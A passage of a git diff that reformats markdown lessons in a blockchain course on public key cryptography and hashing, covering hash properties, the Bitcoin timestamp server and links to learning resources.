ZhzobNocqJzqg5ya9izqdjzbbNsGXOp829N2LOi86uzbtmMTY2zKbOpjLNucm4NTTNusKoxplvz7LFkcK6aMa2cHM6Ly9hdc2HzJ7Mis-QzY0uxrltzZTQsM2WyKbDgMKo0onEtM-GbsODzr0Kx4LKl8igYcqay5LHkMS4yKoDIMeUwp7Ko8qex53PlMi5z5YLz5nHqcqyx77HrsmE0IPMr8uIx7nQjsuA0rfKtcew0KHSvNC2yYzLjsiRy5DKm8iXyJnEjtKzyIHInsqYyKHJpMyoyKjSp8eTAyrDjQM00q3EjkBQ0rDLtsaKDNK0yrHFncu9y4PFl9K6zLLRvcuLxqDJjsmQyZJryZTJlsmYxILJm8mdbMmfyaHGkMmj0JXMgsmnxqbNmMmrya3Jr8mxybPJtcm3ybnJu8m9yb_KgcqDMcqFyofKicqLyo3JscqQYsKI04wB06TKlsifypkvVNOIZcqdUFrTnQHDtMuFyqjLtcqrcseBxZXIvtOFy4zCh8KoZsS1dMmVxYIsyY_JkcmTZdS6ZcmXyZnTuMmexorJoMuPyJPUosiS1IHGp8Ko0Y7NilBhaXLCqtS3xrtGxaJpbHnCvCdSdWJpxq1NxLVvIE_NkScszYbGknMtc8aKaWbCpca5yZFywqcjyKTVu2TOvc-YyIHCqsSsxZvUoWV4dNSlxI7DqtSoLMWH1KzPlcWRyJzUscqv0rXTp9CS06nKt2vQjce7yrLTqNCnzJ7MrcKT0IXDjMOpw4zDq9Sz06_UvdOy07TFgtWD07fJnNWGcsKvZca7xoogz6PWhs2PxorIk9WJwqRU1oV01Y3Mu8y9zL_NgdGBc82Gxp7RhM2MzL3Rh82RecqTw4zDvMidz4Jwy5zVkCDVktWUz4jCg8OMw5vPjMurQ1PCmcKay7FC06HUrs6_1pLLuseqy7zQksKtz7DRi8-jIM-lec-_0IHPq8-60JLCqMy6zZFy0YzQitK6w5rMoseqwpPMkM-gz6LMv9e01p5nzK3FhMOgxJrPrsSuyZDNiNezzZLYi8ytwpHDjMOqzKTMpsmlzKnMmsyr1p_QmsWEw57Jh9any43RitiI1ZDRkM2bN82xZc6pZsmvzqHNqWLKiDA0zqvRrM23Nc27zaEwzrfVgmPNtM2dybjGidSU2LDNndi5Mc6zN2XNp9GWzr0Ox4LLmMua15XPhETLn9mW1ofTlseUworDjQTHpcWAyLHHly3Xp8-W0p_Xqs-a16zYhsyK2IjYlXnYi9K6w67Pu9azY9mb0LLZsseyw6zYg9ac0JLCqcSJ2bfLm9m5zJpvYmrLn9eA0JrYmcOt2KfCgM69xL7Ll9eUy5xFbtqC15XPiHLZoNmix5rFhMK02abWjtKxxZEF06XLu9iR1aHGq9mw2brJhtib0JLQusyCzITaq8q4w6vZvcWy0JLCptqG2ohjdMyH2rnaidCh2bXaltm40LPYoNCY2KLQqdiZw6zajs69D9Kg1J_IodOKy6MDwo7am9Sodcqnx6DaosaKxL7ZqtaUy4HSuMq20rrDrdK82rXbn9OBy4TTg8SCyIjYp9OH1YzTisytwp_ClsW-xKQA15EBw7_bstilw7wCx4AAANuyw5_Xkdu8yJvbvtuy2I_DvADEjgPFmNihZ9uyw6HEjgTcic6-Ate327LDo9yK3IMG3IXMr8uV3JMK3JzDp9ye043cnMOo3JnLlQHcltaj3JHckwfcjNuG3I7Ymtu2xL3cr8-q27LDq9ysxL3cqdyN27LDrNy6xI4O3LvcsNuyw63dgNyTD9ycw67XkdyTDty1zIvCpmfGmnXShMKQwqbGuW5m0LDCgMKny6FyxYDEtcOLP8OZwpndpN2kwpo){target=_blank} (highly recommended) -* [Article: Public Key Cryptography (Wikipedia)](https://en.wikipedia.org/wiki/Public-key_cryptography){target=_blank} A good starting place for folks to get an understanding of the terms and be able to dig into some of the background or deeper ideas. -* [Video: End to End Encryption — Computerphile](https://www.youtube.com/watch?v=jkV1KEJGKRA){target=_blank} Introducing the general concepts behind using encryption in public networks -* [Video: Gambling with Secrets — RSA Encryption](https://www.youtube.com/watch?v=vgTtHV04xRI){target=_blank} -* [Article: What is Asymmetric Encryption?](https://dzone.com/articles/what-is-asymmetric-encryption-understand-with-simp-1){target=_blank} -* [Article: Keeping Secrets Secret (BBC)](https://web.archive.org/web/20200924112725/https://www.rigb.org/christmaslectures08/html/activities/keeping-secrets-secret.pdf){target=_blank} This is a valuable resource explaining, in simple visual terms, the modular arithmetic underpinning the security of public key cryptography, hashing (which we'll learn about next) and any other one-way or "trapdoor" functions. It illustrates how you cannot break a private key's encryption with brute-force but can easily validate it if you have the accompanying public key. -* [Video: Secret Key Exchange — Computerphile](https://www.youtube.com/watch?v=NmM9HA2MQGI){target=_blank} Not public key encryption but good to know in terms of general cryptography mechanics -* [Video: Elliptic Curves — Computerphile](https://www.youtube.com/watch?v=NF1pwjL9-DE){target=_blank} Going deeper into the Elliptic Curve encryption behind public key cryptography. -* [Mini-Course: Basic Key Exchange](https://www.coursera.org/learn/crypto/home/week/5){target=_blank} Requires a free Coursera registration, but this is another general overview on the mechanics of key exchanges (not RSA encryption specifically) from Dan Boneh's [Cryptography I course](https://www.coursera.org/learn/crypto){target=_blank} from Stanford University. +- [Video & Interactive Code: ETH.Building with Key Pairs](https://youtu.be/9LtBDy67Tho){target=\_blank} Excellent hands-on tutorial about public keypairs from Austin Griffith using his [ETH.Build platform](https://sandbox.eth.build/wofCrGxhc3Rfbm9kZV9pZMONAQ_EgcSDxIVsaW5rxItkw4zDrsKlxIfEiXPCnsKKwqLEjMOMw73CpHR5cGXCrElucHV0L0LEr3RvbsKjcG9zwpJ1xI4NwqRzaXplwpLDjMOIMsKlZsSCZ3PCgMKlb3LEiXIAwqRtxIhlAMKmxJXErnRzwpHCg8KkbmFtZcKgxKbEqGXDv8KkxJTElsOAwqdvxK_Fm8S6xZ_FocWjxaXEp8Spw7_CpcWra8Wdw4zDmsWzxaLFpMWmxKnCrm51bWJlcixib29sZWFuxbrElcW8w4DCqnByb8SpcnRpZXPCg8KldmFsdWXCqGPElGNrIMWjwqXGnnTGkMKmxLJ0xLTGk2PFr250AMShxIzEjgHGg2XCrURpc3DEgnkvV2F0Y2jEt8S5wpLDjQLCnsOMwrTEv8WBxYPHlBE8xYjFisWMxY7FkMaKBsWUxZbFmMWaxK_FncKExaDGgcW2xafFk8W7w4zDnsW6YcaJbMKgxa7FsMeqwpHHrMW0xoLFt8WXxpTElnPDgMe1x7fCoMaYxprGnMaexqDCgcawacayZcKlx4zHjmjCicSixI0BAseCwq_HhceHx4kvQWRkcsagc8eRxLrDjQUKw4zCqseZxYLHkwFWT8efYcWLxY3Fj8WRB8emxInHqMStx7zGgMW1x4LHscaVw4zDn8iKxpvGisiNc8KEwqtibG_GrMafU8eaMsKrx4hhY2Voxo_FkcKgyJDIksKnyKPIpcinxqPGpcanw5kqMHgzMmE5ZTkxOWNmODJkybY4ZDUwMjRlMcqCMGE1M2IwMzU1ybJlNGZixr7ImselyIHHhMeGyZnHisiVx4_IqceTAsKUxI7DoMiwx5sGSceexYnIt8ehyLrGigjIvcWXxZnJgMWcx73HrcmDyIHJhcSWw4zDo8iHZce4x7p0xbHKs8e_x6_EqQDIg8aWyrvHuMmJyIzGn3PIj8axxpDIlMeNx4_Kk8SOyLzIgcKuQ3LEqMS0L1Jlxrl2xorKnceUCMeUw7jKo8KCwqEww4pDITMzwqExLsi2yLjHosWRCcquyL_FscKSyYJlwqlbxaNzc8i3ZV3HgsKmxIRyxJVnxarJhsOpy73Cq1vFgGfFoXR1yKbMhsiBzIh0zIpuzIzHssOoyr7LgMu9wqdhyKTIpsyCzIfMicyLy4bEusOMw6bDjMOny4rJi8uMwoLCp8yBzINnZcK9dGhlIMaJYXIgx4YgxIRpxqx5IHfIkWggyZ1uZXnCqcyTzJXMl2XDmcKEyaw4NzVkMjBlYsqAZsuvNTlmyKTNnDLNp8uvMjM4NDk5NGEyzbM3NzEyODbNt2Mwzac2YjkwMTPEic27ZDFiZsqKMc2xzok0zoY3YTfNt2TKiMqQNsm4M82oxok4Nc6Nzb1jNzY5OMm_Y86AMmY3ZGE2zafJvc2izbTOpcm5MWE4zozLlAEDx4LCq8uZy5tvL8mVzJTLowHCrsqhy6jLqsusOmZmy7FWy7TKqsejcgTLucqwxbHClMu9wqxbxplpxqR0ZWvNksyZxafMm8ydzJ_JhsOgy73Cqs-fxpp2xIzGis-nxKnPqcyLzI3FrMu9y7_MuMyEz7Vlz7fMns-5a8OMw6HLvceZzJTHgsWpxbvFrcWvyr_Hqs-cyrRlzKXMp8inzKrMnMysxbvIhcykz73MutCXz6rMrcOAz7vNlceNzZfQn9CZxpXMrsOjw4zDqMu9zIhpzJRlZNCK0KHMs8ady4zChcy3yKfMhMy8zL7NgMaRzYPNhc2HzYnNi82NzY_Etc2SyIrPoceNZUvNksOZQsmszbo3zq5jOM2iybjNvmZhzobNocqJzqg5ya9izqdjzbbNsGXOp829N2LOi86uzbtmMTY2zKbOpjLNucm4NTTNusKoxplvz7LFkcK6aMa2cHM6Ly9hdc2HzJ7Mis-QzY0uxrltzZTQsM2WyKbDgMKo0onEtM-GbsODzr0Kx4LKl8igYcqay5LHkMS4yKoDIMeUwp7Ko8qex53PlMi5z5YLz5nHqcqyx77HrsmE0IPMr8uIx7nQjsuA0rfKtcew0KHSvNC2yYzLjsiRy5DKm8iXyJnEjtKzyIHInsqYyKHJpMyoyKjSp8eTAyrDjQM00q3EjkBQ0rDLtsaKDNK0yrHFncu9y4PFl9K6zLLRvcuLxqDJjsmQyZJryZTJlsmYxILJm8mdbMmfyaHGkMmj0JXMgsmnxqbNmMmrya3Jr8mxybPJtcm3ybnJu8m9yb_KgcqDMcqFyofKicqLyo3JscqQYsKI04wB06TKlsifypkvVNOIZcqdUFrTnQHDtMuFyqjLtcqrcseBxZXIvtOFy4zCh8KoZsS1dMmVxYIsyY_JkcmTZdS6ZcmXyZnTuMmexorJoMuPyJPUosiS1IHGp8Ko0Y7NilBhaXLCqtS3xrtGxaJpbHnCvCdSdWJpxq1NxLVvIE_NkScszYbGknMtc8aKaWbCpca5yZFywqcjyKTVu2TOvc-YyIHCqsSsxZvUoWV4dNSlxI7DqtSoLMWH1KzPlcWRyJzUscqv0rXTp9CS06nKt2vQjce7yrLTqNCnzJ7MrcKT0IXDjMOpw4zDq9Sz06_UvdOy07TFgtWD07fJnNWGcsKvZca7xoogz6PWhs2PxorIk9WJwqRU1oV01Y3Mu8y9zL_NgdGBc82Gxp7RhM2MzL3Rh82RecqTw4zDvMidz4Jwy5zVkCDVktWUz4jCg8OMw5vPjMurQ1PCmcKay7FC06HUrs6_1pLLuseqy7zQksKtz7DRi8-jIM-lec-_0IHPq8-60JLCqMy6zZFy0YzQitK6w5rMoseqwpPMkM-gz6LMv9e01p5nzK3FhMOgxJrPrsSuyZDNiNezzZLYi8ytwpHDjMOqzKTMpsmlzKnMmsyr1p_QmsWEw57Jh9any43RitiI1ZDRkM2bN82xZc6pZsmvzqHNqWLKiDA0zqvRrM23Nc27zaEwzrfVgmPNtM2dybjGidSU2LDNndi5Mc6zN2XNp9GWzr0Ox4LLmMua15XPhETLn9mW1ofTlseUworDjQTHpcWAyLHHly3Xp8-W0p_Xqs-a16zYhsyK2IjYlXnYi9K6w67Pu9azY9mb0LLZsseyw6zYg9ac0JLCqcSJ2bfLm9m5zJpvYmrLn9eA0JrYmcOt2KfCgM69xL7Ll9eUy5xFbtqC15XPiHLZoNmix5rFhMK02abWjtKxxZEF06XLu9iR1aHGq9mw2brJhtib0JLQusyCzITaq8q4w6vZvcWy0JLCptqG2ohjdMyH2rnaidCh2bXaltm40LPYoNCY2KLQqdiZw6zajs69D9Kg1J_IodOKy6MDwo7am9Sodcqnx6DaosaKxL7ZqtaUy4HSuMq20rrDrdK82rXbn9OBy4TTg8SCyIjYp9OH1YzTisytwp_ClsW-xKQA15EBw7_bstilw7wCx4AAANuyw5_Xkdu8yJvbvtuy2I_DvADEjgPFmNihZ9uyw6HEjgTcic6-Ate327LDo9yK3IMG3IXMr8uV3JMK3JzDp9ye043cnMOo3JnLlQHcltaj3JHckwfcjNuG3I7Ymtu2xL3cr8-q27LDq9ysxL3cqdyN27LDrNy6xI4O3LvcsNuyw63dgNyTD9ycw67XkdyTDty1zIvCpmfGmnXShMKQwqbGuW5m0LDCgMKny6FyxYDEtcOLP8OZwpndpN2kwpo){target=\_blank} (highly recommended) +- [Article: Public Key Cryptography (Wikipedia)](https://en.wikipedia.org/wiki/Public-key_cryptography){target=\_blank} A good starting place for folks to get an understanding of the terms and be able to dig into some of the background or deeper ideas. +- [Video: End to End Encryption — Computerphile](https://www.youtube.com/watch?v=jkV1KEJGKRA){target=\_blank} Introducing the general concepts behind using encryption in public networks +- [Video: Gambling with Secrets — RSA Encryption](https://www.youtube.com/watch?v=vgTtHV04xRI){target=\_blank} +- [Article: What is Asymmetric Encryption?](https://dzone.com/articles/what-is-asymmetric-encryption-understand-with-simp-1){target=\_blank} +- [Article: Keeping Secrets Secret (BBC)](https://web.archive.org/web/20200924112725/https://www.rigb.org/christmaslectures08/html/activities/keeping-secrets-secret.pdf){target=\_blank} This is a valuable resource explaining, in simple visual terms, the modular arithmetic underpinning the security of public key cryptography, hashing (which we'll learn about next) and any other one-way or "trapdoor" functions. It illustrates how you cannot break a private key's encryption with brute-force but can easily validate it if you have the accompanying public key. +- [Video: Secret Key Exchange — Computerphile](https://www.youtube.com/watch?v=NmM9HA2MQGI){target=\_blank} Not public key encryption but good to know in terms of general cryptography mechanics +- [Video: Elliptic Curves — Computerphile](https://www.youtube.com/watch?v=NF1pwjL9-DE){target=\_blank} Going deeper into the Elliptic Curve encryption behind public key cryptography. +- [Mini-Course: Basic Key Exchange](https://www.coursera.org/learn/crypto/home/week/5){target=\_blank} Requires a free Coursera registration, but this is another general overview on the mechanics of key exchanges (not RSA encryption specifically) from Dan Boneh's [Cryptography I course](https://www.coursera.org/learn/crypto){target=\_blank} from Stanford University. ### Blockchain / Ethereum-Specific Public Key Cryptography Resources - Now that you have an understanding of public key cryptography generally, let's dive into how it is used in blockchains, specifically Ethereum. The following links will mainly show how private keys are used to generate Ethereum accounts, which then become a stand-in for identity on the Ethereum network. Note that all Ethereum addresses start with the first two characters `0x`, which is not actually part of the address but rather a prefix used to let programs know the address is coded in hexadecimal format. +Now that you have an understanding of public key cryptography generally, let's dive into how it is used in blockchains, specifically Ethereum. The following links will mainly show how private keys are used to generate Ethereum accounts, which then become a stand-in for identity on the Ethereum network. Note that all Ethereum addresses start with the first two characters `0x`, which is not actually part of the address but rather a prefix used to let programs know the address is coded in hexadecimal format. - * [Book Excerpt: Keys and Addresses (Mastering Ethereum)](https://github.com/ethereumbook/ethereumbook/blob/develop/04keys-addresses.asciidoc){target=_blank} Excerpt from Andreas Antonopoulos and Gavin Wood's excellent book, *Mastering Ethereum* available for free as an e-book through [this GitHub repo.](https://github.com/ethereumbook/ethereumbook){target=_blank} -* [Article: How are Ethereum Addresses Generated? (Stack Overflow)](https://ethereum.stackexchange.com/questions/3542/how-are-ethereum-addresses-generated){target=_blank} A nice, thorough answer walking through the process of generating a private key to having an Ethereum address linked to that private key +- [Book Excerpt: Keys and Addresses (Mastering Ethereum)](https://github.com/ethereumbook/ethereumbook/blob/develop/04keys-addresses.asciidoc){target=\_blank} Excerpt from Andreas Antonopoulos and Gavin Wood's excellent book, _Mastering Ethereum_ available for free as an e-book through [this GitHub repo](https://github.com/ethereumbook/ethereumbook){target=\_blank}. +- [Article: How are Ethereum Addresses Generated? (Stack Overflow)](https://ethereum.stackexchange.com/questions/3542/how-are-ethereum-addresses-generated){target=\_blank} A nice, thorough answer walking through the process of generating a private key to having an Ethereum address linked to that private key ### Advanced Public Key Cryptography Resources - * [Coding Problem Set: Cryptopals](https://cryptopals.com/){target=_blank} This is an extremely advanced problem set series discussing applied cryptography generally. Not for the faint of heart! - - +- [Coding Problem Set: Cryptopals](https://cryptopals.com/){target=\_blank} This is an extremely advanced problem set series discussing applied cryptography generally. Not for the faint of heart! diff --git a/docs/S01-fundamentals/M1-cryptography/L3-hashing/index.md b/docs/S01-fundamentals/M1-cryptography/L3-hashing/index.md index 19c14ac8..86890fc1 100644 --- a/docs/S01-fundamentals/M1-cryptography/L3-hashing/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L3-hashing/index.md @@ -1,6 +1,3 @@ - Hashing -======= +# Hashing - ![hash all the strings using x all the y meme template](../../../img/S01/hash-all-the-strings.jpeg) This content is a video hosted on courses.consensys.net (for now) - - \ No newline at end of file +![hash all the strings using x all the y meme template](../../../img/S01/hash-all-the-strings.jpeg) This content is a video hosted on courses.consensys.net (for now) diff --git a/docs/S01-fundamentals/M1-cryptography/L4-hashing-additional/index.md b/docs/S01-fundamentals/M1-cryptography/L4-hashing-additional/index.md index f1ea6855..8c61e07c 100644 --- a/docs/S01-fundamentals/M1-cryptography/L4-hashing-additional/index.md +++ b/docs/S01-fundamentals/M1-cryptography/L4-hashing-additional/index.md @@ -1,75 +1,65 @@ - Hashing -======= +# Hashing - Cryptographic hash functions (also called hash functions or just *hashes*) are essential to us building a decentralized trust protocol by providing three main things (use this [cryptographic hash function sandbox](https://emn178.github.io/online-tools/sha256.html){target=_blank} to follow along): +Cryptographic hash functions (also called hash functions or just _hashes_) are essential to us building a decentralized trust protocol by providing three main things (use this [cryptographic hash function sandbox](https://emn178.github.io/online-tools/sha256.html){target=\_blank} to follow along): - 1. **Uniqueness** We can be assured if we put in the string `dark wallet puzzle` in a cryptographic function, it will always produce the same hash result. With a sufficiently large number of possibilities, this avoids the [“hash collision”](https://en.wikipedia.org/wiki/Hash_collision){target=_blank} problem, in that we don’t have to worry about two strings getting the same hash. +1. **Uniqueness** We can be assured if we put in the string `dark wallet puzzle` in a cryptographic function, it will always produce the same hash result. With a sufficiently large number of possibilities, this avoids the [“hash collision”](https://en.wikipedia.org/wiki/Hash_collision){target=\_blank} problem, in that we don’t have to worry about two strings getting the same hash. 2. **Avalanche Effect** Small changes on the target string for a hash function leads to outsized effects. Change one letter in the string you hashed in the above example, maybe capitalizing the "d" in `Dark wallet puzzle`. You'll see it’s not changed a little bit but a lot. This illustrates the second characteristic of a good hashing function — “The Avalanche Effect”. This says a single change in the string will cause a successive series of changes that compound each other. -3. **Speed** Cryptographic hash functions can also run incredibly fast with little overhead and still maintain their security. This is more of a logistical concern. The hashing function can’t be too slow, otherwise it causes delays. But it also can’t be too fast or it will be easier to find collisions. It needs to be fast for processing but slow for hacking. Cryptographic hash functions speed combined with the difficulty in deriving the target input makes them a one-way or ["trapdoor" function](https://en.wikipedia.org/wiki/Trapdoor_function){target=_blank} — easy to go one way, near impossible to go the other. +3. **Speed** Cryptographic hash functions can also run incredibly fast with little overhead and still maintain their security. This is more of a logistical concern. The hashing function can’t be too slow, otherwise it causes delays. But it also can’t be too fast or it will be easier to find collisions. It needs to be fast for processing but slow for hacking. Cryptographic hash functions speed combined with the difficulty in deriving the target input makes them a one-way or ["trapdoor" function](https://en.wikipedia.org/wiki/Trapdoor_function){target=\_blank} — easy to go one way, near impossible to go the other. - These three characteristics combine to help blockchains provide decentralized file integrity. Let's explain how. +These three characteristics combine to help blockchains provide decentralized file integrity. Let's explain how. - Hashing in Blockchains ----------------------- +## Hashing in Blockchains - In [the Bitcoin Whitepaper,](https://bitcoin.org/bitcoin.pdf){target=_blank} Satoshi Nakamoto articulates the ["double-spend" problem](https://en.wikipedia.org/wiki/Double-spending){target=_blank} facing digital currencies: +In [the Bitcoin Whitepaper](https://bitcoin.org/bitcoin.pdf){target=\_blank}, Satoshi Nakamoto articulates the ["double-spend" problem](https://en.wikipedia.org/wiki/Double-spending){target=\_blank} facing digital currencies: - -> The problem of course is the payee can't verify that one of the owners did not double-spend the coin. A common solution is to introduce a trusted central authority, or mint, that checks every transaction for double spending. After each transaction, the coin must be returned to the mint to issue a new coin, and only coins issued directly from the mint are trusted not to be double-spent. The problem with this solution is that the fate of the entire money system depends on the company running the mint, with every transaction having to go through them, just like a bank. -> -> **We need a way for the payee to know that the previous owners did not sign any earlier transactions.** For our purposes, the earliest transaction is the one that counts, so we don't care about later attempts to double-spend. The only way to confirm the absence of a transaction is to be aware of all transactions. In the mint based model, the mint was aware of all transactions and decided which arrived first. **To accomplish this without a trusted party, transactions must be publicly announced [1], and we need a system for participants to agree on a single history of the order in which they were received.** The payee needs proof that at the time of each transaction, the majority of nodes agreed it was the first received. -> -> +> The problem of course is the payee can't verify that one of the owners did not double-spend the coin. A common solution is to introduce a trusted central authority, or mint, that checks every transaction for double spending. After each transaction, the coin must be returned to the mint to issue a new coin, and only coins issued directly from the mint are trusted not to be double-spent. The problem with this solution is that the fate of the entire money system depends on the company running the mint, with every transaction having to go through them, just like a bank. +> +> **We need a way for the payee to know that the previous owners did not sign any earlier transactions.** For our purposes, the earliest transaction is the one that counts, so we don't care about later attempts to double-spend. The only way to confirm the absence of a transaction is to be aware of all transactions. In the mint based model, the mint was aware of all transactions and decided which arrived first. **To accomplish this without a trusted party, transactions must be publicly announced [1], and we need a system for participants to agree on a single history of the order in which they were received.** The payee needs proof that at the time of each transaction, the majority of nodes agreed it was the first received. - To restate the problem: How do we know the transaction record is true and hasn't been tampered with? Hashing helps us with this. (The second point, proof of majority node agreement, we'll cover in the next Module on Distributed Consensus) +To restate the problem: How do we know the transaction record is true and hasn't been tampered with? Hashing helps us with this. (The second point, proof of majority node agreement, we'll cover in the next Module on Distributed Consensus) - Nakamoto proposes using hashing to create what they call a "Timestamp Server": -> The solution we propose begins with a timestamp server. **A timestamp server works by taking a hash of a block of items to be timestamped and widely publishing the hash** , such as in a newspaper or Usenet post [2-5]. The timestamp proves that the data must have existed at the time, obviously, in order to get into the hash. **Each timestamp includes the previous timestamp in its hash, forming a chain, with each additional timestamp reinforcing the ones before it.** -> -> +Nakamoto proposes using hashing to create what they call a "Timestamp Server": - ![image of a timestamp server chained together using hashes from bitcoin whitepaper](../../../img/S01/bitcoin-timestamp-server.png) - - *from the [Bitcoin Whitepaper](https://bitcoin.org/bitcoin.pdf){target=_blank}* +> The solution we propose begins with a timestamp server. **A timestamp server works by taking a hash of a block of items to be timestamped and widely publishing the hash** , such as in a newspaper or Usenet post [2-5]. The timestamp proves that the data must have existed at the time, obviously, in order to get into the hash. **Each timestamp includes the previous timestamp in its hash, forming a chain, with each additional timestamp reinforcing the ones before it.** - The timestamp server leverages hash functions in one critical way. It includes the hash of the previous block into the hash of the current block. If any historical data in any of the previous blocks are altered, the changes will cascade throughout all the blocks after it. In this way, blocks of transaction data are **chained** together to form a blockchain đŸ€Ż đŸ€Ż đŸ€Ż. +![image of a timestamp server chained together using hashes from bitcoin whitepaper](../../../img/S01/bitcoin-timestamp-server.png) - This chaining can only be effective in a large system because of those three characteristics of hash functions we discussed previously: **Uniqueness** (one string matches one hash), **Avalanche Effects** (one change in an input string creates outsized effects on the output) and **Speed** (hashes can be securely computed quickly at scale). +_from the [Bitcoin Whitepaper](https://bitcoin.org/bitcoin.pdf){target=\_blank}_ -Hash Chains as General Data Structures --------------------------------------- +The timestamp server leverages hash functions in one critical way. It includes the hash of the previous block into the hash of the current block. If any historical data in any of the previous blocks are altered, the changes will cascade throughout all the blocks after it. In this way, blocks of transaction data are **chained** together to form a blockchain đŸ€Ż đŸ€Ż đŸ€Ż. - While Nakamoto's timestamp server uses hash chains, hash chains are found in many different sorts of computer science applications before and beyond blockchain. +This chaining can only be effective in a large system because of those three characteristics of hash functions we discussed previously: **Uniqueness** (one string matches one hash), **Avalanche Effects** (one change in an input string creates outsized effects on the output) and **Speed** (hashes can be securely computed quickly at scale). - The version control software **[Git,](https://en.wikipedia.org/wiki/Git){target=_blank}** for example, uses a [hash chain,](https://stackoverflow.com/questions/46192377/why-is-git-not-considered-a-block-chain){target=_blank} also called a [Directed Acyclic Graph,](https://en.wikipedia.org/wiki/Directed_acyclic_graph){target=_blank} to track changes of software over time. +## Hash Chains as General Data Structures - [Challenge-Response schemes,](https://en.wikipedia.org/wiki/Hash_chain#Applications){target=_blank} used for user validation, also use the concept of a hash chain. +While Nakamoto's timestamp server uses hash chains, hash chains are found in many different sorts of computer science applications before and beyond blockchain. - Learning about hash functions and the associated hash chaining will give you great insights into these power data structures as well as programming data primitives like [hash tables.](https://en.wikipedia.org/wiki/Hash_table){target=_blank} +The version control software **[Git](https://en.wikipedia.org/wiki/Git){target=\_blank}**, for example, uses a [hash chain](https://stackoverflow.com/questions/46192377/why-is-git-not-considered-a-block-chain){target=\_blank}, also called a [Directed Acyclic Graph](https://en.wikipedia.org/wiki/Directed_acyclic_graph){target=\_blank}, to track changes of software over time. -Additional Links for Hashing ----------------------------- +[Challenge-Response schemes](https://en.wikipedia.org/wiki/Hash_chain#Applications){target=\_blank}, used for user validation, also use the concept of a hash chain. - ![hash all the strings using x all the y meme template](../../../img/S01/hash-all-the-strings.jpeg) - - ### General Hashing Material +Learning about hash functions and the associated hash chaining will give you great insights into these power data structures as well as programming data primitives like [hash tables](https://en.wikipedia.org/wiki/Hash_table){target=\_blank}. - * [Interactive Code: Cryptographic Hash Function Sandbox](https://emn178.github.io/online-tools/sha256.html){target=_blank} A, simple nice way to see the characteristics of hash functions. -* [Article: Why is 2^256 Secure?](https://web.archive.org/web/20201026010255/https://privacycanada.net/cryptanalysis/why-is-2-256-secure/){target=_blank} Explanation behind the enormous "numberspace" that virtually guarantees no collisions, and therefore uniqueness, when using hash functions based on large exponents. -* [Video: Hashing Algorithms and Security (Computerphile)](https://www.youtube.com/watch?v=b4b8ktEV4Bg){target=_blank} -* [Video: SHA (Secure Hashing Algorithm) Explained (Computerphile)](https://www.youtube.com/watch?v=DMtFhACPnTY){target=_blank} -* [Article: How Hash Algorithms Work](https://www.metamorphosite.com/one-way-hash-encryption-sha1-data-software){target=_blank} -* [Article: Cryptographic Hash Function (Simple Wikipedia)](https://simple.wikipedia.org/wiki/Cryptographic_hash_function){target=_blank} +## Additional Links for Hashing + +![hash all the strings using x all the y meme template](../../../img/S01/hash-all-the-strings.jpeg) + +### General Hashing Material + +- [Interactive Code: Cryptographic Hash Function Sandbox](https://emn178.github.io/online-tools/sha256.html){target=\_blank} A, simple nice way to see the characteristics of hash functions. +- [Article: Why is 2^256 Secure?](https://web.archive.org/web/20201026010255/https://privacycanada.net/cryptanalysis/why-is-2-256-secure/){target=\_blank} Explanation behind the enormous "numberspace" that virtually guarantees no collisions, and therefore uniqueness, when using hash functions based on large exponents. +- [Video: Hashing Algorithms and Security (Computerphile)](https://www.youtube.com/watch?v=b4b8ktEV4Bg){target=\_blank} +- [Video: SHA (Secure Hashing Algorithm) Explained (Computerphile)](https://www.youtube.com/watch?v=DMtFhACPnTY){target=\_blank} +- [Article: How Hash Algorithms Work](https://www.metamorphosite.com/one-way-hash-encryption-sha1-data-software){target=\_blank} +- [Article: Cryptographic Hash Function (Simple Wikipedia)](https://simple.wikipedia.org/wiki/Cryptographic_hash_function){target=\_blank} ### Blockchain / Ethereum-Specific Hashing Material - * [Interactive Code: ETH.Build](https://youtu.be/QJ010l-pBpE){target=_blank} Austin Griffith walks through Hash Functions using his [ETH.Build](https://sandbox.eth.build/wofCrGxhc3Rfbm9kZV9pZCLEgcSDxIVsaW5rxItkFsKlxIfEiXPClMKKwqLEjCDCpHR5cGXCqklucHV0L1RleHTCo3Bvc8KSZcOMw7_CpHNpemXCksONASwywqVmxIJnc8KAwqVvcsSJcgDCpG3EiGUAwqbEk8SqdHPCkcKDwqRuYW1lwqDEosSkxZPCpMSSxJTDgMKnb8SrxZfFmcWbxZ3Fn8WhxKPEpcKmxIRyxJNnwqXFpmvFmRXCqnByb8SlcnRpZXPChMKrYmxvY2vGhVPEvGUywqtwxIJjZWhvbMWNwq9lbnRlciDGoMSwIGjGoWXCpcaEdGxlwqTErsSwwqV2YWx1xq7GoMSExJ7EjB_FosSlwqtDcsSkdG8vSMSDaMSyxLTEvwHDl8S4xLrGkcKSeB7FhMWGxYjFisWMxqECxZDFksWUxZbEq8WtxZzFnsapx550xr1lwq3FtcW3LG51bWLGocWlxJNrFcWpxavHn8Wax6HFn8KkaMeHx6bFtHTFtm7FuMW6xZkWxb7GgMaCxoTGhsKAxrpkIcemwq1EaXPGlWF5L1dhdGPHiMSzxLXDjQLCs8OMw7XHj8S9xL8DMTzHlGHFh8WJxYvFjQPHm8SJx53Eqce3woTHucWgx6bFj8W6xJjEgsevbMKgx7V0xazCkci3xa_IucWyxZPFuceyc8OAxblhyL_CoMiHxoHGociKc8KBxqppxqzGqciZyJtowojEn8SNyJDIksiUxILIl1TJmsatx4nEtTx4yKXEvsigJgTIq8itx5fFjQHIssWTyZPIicaFc8KHwqhmb8afxpDEvSzGicaLxo3Gj8aRxpPIlcaXxpnGm8ahwqDJmcmbwqXJqMqUxrPGtcenx4ZzaCBGdW5jxoTKgsKqyoHGn0bFnmlsecK8J1J1YmlrIE3Kgm8gT25lJywgc2Fucy1zxqFpZsKlY8aaxYvCpyNky47Lj8mLxJTEtcKWFSAAHwDHqMiAx6rHrMeuxqHClhbLmCEAxZRnxoB1cHPCkMKmy4luZmlnwoDCp3bGocS7yoLDiz_DmcKZy7vLu8Ka){target=_blank} platform (highly recommended). -* [Article: Blockchain Underpinnings: Hashing (ConsenSys)](https://medium.com/@ConsenSys/blockchain-underpinnings-hashing-7f4746cbd66b){target=_blank} -* [Interactive Code: Cryptographic Hash Functions (ConsenSys / Josh Crites)](https://observablehq.com/@consensys-academy/cryptographic-hash-functions){target=_blank} Uses a platform called [Observable](https://observablehq.com/@observablehq/five-minute-introduction?collection=@observablehq/introduction){target=_blank} to provide you with code you can run in the article! -* [Lesson: Cryptographic Hash Functions (Khan 